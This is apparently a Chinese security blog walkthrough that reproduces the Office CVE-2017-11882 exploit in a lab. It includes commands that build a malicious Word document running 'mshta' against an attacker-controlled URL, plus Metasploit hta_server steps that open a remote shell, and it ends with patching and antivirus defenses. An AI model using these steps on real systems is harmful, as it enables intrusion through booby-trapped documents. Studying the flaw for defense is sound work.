CVE-2017-11882复现及防御

渗透测试 2017-11-23

本文作者:\xeb\xfe,加上之前的文章《一道 CTF 题 get 到的新姿势》完成两篇文章的任务,邀请加入知识星球,欢迎更多的人加入我们,一起交流、一起学习。

最新 Office 的 CVE-2017-11882,完美无弹窗,无视宏,影响 office 全版本。利用触发器 WebClient 服务从攻击者控制的 WebDav 服务器启动和执行远程文件。该脚本使用多个 OLE 对象创建简单的文档。这些对象利用 CVE-2017-11882,从而导致连续命令执行。

复现过程

实验环境:

win7 + office2007

win xp + office2003

使用 Ridter 师傅改进过的脚本:

https://github.com/Ridter/CVE-2017-11882/

生成漏洞 doc 文件,首先简单的测试一下是否能够弹出计算器,命令如下:

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

测试机打开 Word 文档之后,就会直接执行代码,弹出计算器,如下图:

clip_image001.png

既然能够实现弹出,那我们可以构造执行 powershell 直接获取 msf 会话

深入利用

在利用前,先了解一下 hta,hta 文件使用 HTML 格式,它的程序码可以像 HTML 一样被编辑和检查。在 hta 文件中 VBScript 和 JavaScript 的程序码可以任意混合。HTA 虽然用 HTML、JS 和 CSS 编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)。hta 本来就是被设计为桌面程序的。

1、利用 msf 生成利用的 powershell 脚本

clip_image003.png

clip_image005.png

这里使用的是 43 字符限制的脚本 ( github 上还有 109 字符限制的脚本),命令长度有 43 字符的限制,可以使用 URIPATH 设置路径,尽量短一点,避免加起来超过 43 字符,这里生成的代码 payload 是:

mshta.exehttp://192.168.9.27:8080/test

2、使用脚本生成漏洞doc文件,代码如下:

python Command_CVE-2017-11882.py -c "mshta http://192.168.9.27:8080/test" -otest2.doc

测试机打开 doc 文件后就会通过 mshta 去执行链接中的 hta 嵌套的 VBS 代码,从而执行 powershell 命令,随便用一个浏览器打开链接,就可以下载到 test.hta,文件内容如下:

clip_image007.png

3、测试机打开文件后,攻击机就会获取到 msf 会话。

clip_image009.png

在复现过程中,察觉到是使用 hta 进行命令执行利用,推测攻击机作为 hta_server,然后尝试在 msf 搜索 hta,发现一个模块的实现效果跟 PS_shell 一样,接下来开始演示一下:

  • 1、在 msf 搜索 hta_server 模块,然后 use,设置好相关参数,exploit -j。

clip_image011.png

  • 2、攻击机用脚本生成 doc 文件。

pythonCommand_CVE-2017-11882.py -c "mshta http://192.168.2.103:8080/test"-o test3.doc

  • 3、用测试机打开 doc 文件,测试机正常上线。

clip_image013.png

到此为止,两个模块的实验都成功返回 shell。在这里分享下自己踩过的坑,第一次做实验的时候有个疏忽,没注意到结合了 powershell 获取 msf 会话,用了没 powershell 的 XP + office2003 环境做实验 2333,然后换成了 win7 + office2007 环境,成功 getshell。

由于办公文档是常用的,人们在查看 doc 等文档文件时不会过多注意。但当 Office 办公软件存在漏洞时,就会成为黑客的工具。

防御方法:

目前微软公司已经发布了安全补丁下载微软对此漏洞补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

大家可以安装补丁修复该漏洞并开启自动更新功能,另外大部分杀软已经采取了防御措施,经测试部分杀软直接把 mshta、rundll32、powershell 执行的命令都会做相关拦截,并提示给用户这是可疑操作。

截图如下:

clip_image015.png

clip_image016.png

本次技术分享仅供个人测试验证及学习,请勿用于任何非法用途,谢谢!

小编寄语

这个漏洞 APT 领域可谓神洞,利用起来如此方便,对于用户来说,要做的不仅仅是要及时更新补丁、安装杀毒软件,还要提升自己的安全意识,知道这个漏洞在实际场景中是如何被运用的,可以针对性的应对。这种漏洞在 APT 领域通常会结合社会工程学的技术来运用,常用的社会工程学技巧包括:发送钓鱼邮件(附件类型)、通过聊天软件(获取你的新人诱使你打开文档)、在你经常光顾的网站上上传恶意文档等。在自己的系统没有更新到最新的补丁或者没有安装杀毒软件的情况下对于别人发来的文档尽量不要打开,一旦运行,对于个人是个人电脑被人入侵,如果在企业,那么你所在的企业安全就岌岌可危了。


本文由 myh0st 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论